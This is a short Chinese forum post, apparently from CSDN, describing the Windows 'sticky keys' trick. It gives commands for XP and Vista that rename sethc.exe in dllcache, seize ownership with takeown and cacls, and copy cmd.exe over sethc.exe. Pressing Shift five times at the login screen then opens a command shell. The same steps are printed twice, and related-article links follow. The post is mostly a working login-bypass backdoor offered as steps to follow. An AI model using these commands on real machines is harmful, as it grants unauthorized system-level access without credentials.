非技术区
［系统安全］WINDOWS漏洞：粘置键
墨衍会员 · AI 创作全网分发 墨衍智能分发 通过墨衍一键同步至各平台 可同步平台 CSDN微信公众号微博知乎掘金百家号博客园抖音小红书 你的文章也可以这样分发 墨衍会员 ¥399起/年，写一次发全网
我也要 关注 + 加入社区http://blog.csdn.net/scz123/archive/2007/03/14/1528695.aspx
在windows 2000/xp/vista下，按shift键5次，可以打开粘置，会运行sethc.exe，而且，在登录界面里也可以打开。这就让人联想到WINDOWS的屏保，将程序替换成cmd.exe后，就可以打开shell了。
参考McafeeAvertLabs：
http://feeds.feedburner.com/~r/McafeeAvertLabsBlog/~3/101149799/
XP：
将安装源光盘弹出（或将硬盘上的安装目录改名)
cd %widnir%\system32\dllcache
ren sethc.exe *.ex~
cd %widnir%\system32
copy /y cmd.exe sethc.exe
VISTA：
takeown /f c:\windows\system32\sethc.exe
cacls c:\windows\system32\sethc.exe /G administrator:F
然后按XP方法替换文件
在登录界面按5此SHIFT，出来cmd shell，然后……
在windows 2000/xp/vista下，按shift键5次，可以打开粘置，会运行sethc.exe，而且，在登录界面里也可以打开。这就让人联想到WINDOWS的屏保，将程序替换成cmd.exe后，就可以打开shell了。
参考McafeeAvertLabs：
http://feeds.feedburner.com/~r/McafeeAvertLabsBlog/~3/101149799/
XP：
将安装源光盘弹出（或将硬盘上的安装目录改名)
cd %widnir%\system32\dllcache
ren sethc.exe *.ex~
cd %widnir%\system32
copy /y cmd.exe sethc.exe
VISTA：
takeown /f c:\windows\system32\sethc.exe
cacls c:\windows\system32\sethc.exe /G administrator:F
然后按XP方法替换文件
在登录界面按5此SHIFT，出来cmd shell，然后……
...全文
相关推荐
windows系统安全加固手册
《Windows系统安全加固手册》是针对Windows操作系统进行安全风险评估和加固的重要参考资料。这份手册旨在提升Windows系统的安全性，防止潜在的网络安全威胁。
易语言windows漏洞扫描
综上所述，利用易语言开发Windows漏洞扫描程序，不仅能让用户了解自身的安全状况，还能提高公众对网络安全的认识。尽管易语言的功能相对简单，但通过熟练掌握和应用，足以应对基础的系统安全检测需求。
Windows内核漏洞：Windows内核漏洞Windows平台提权漏洞集合
该项目实现了针对CVE-2018-0833漏洞的PoC，该漏洞存在于Windows SMBv3协议中，由于mrxsmb.sys驱动对空指针解引用处理不当，攻击者可通过发送特制数据包触发内核异常，导致系
Windows系统安全-系统漏洞分析与防范.pdf
Windows系统安全-系统漏洞分析与防范.pdf
34.Windows系统漏洞之5次Shift漏洞启动计算机1
在Windows系统中，按住Shift键五次会触发“粘滞键”功能，这是一个辅助功能，旨在帮助用户连续按下同一键。
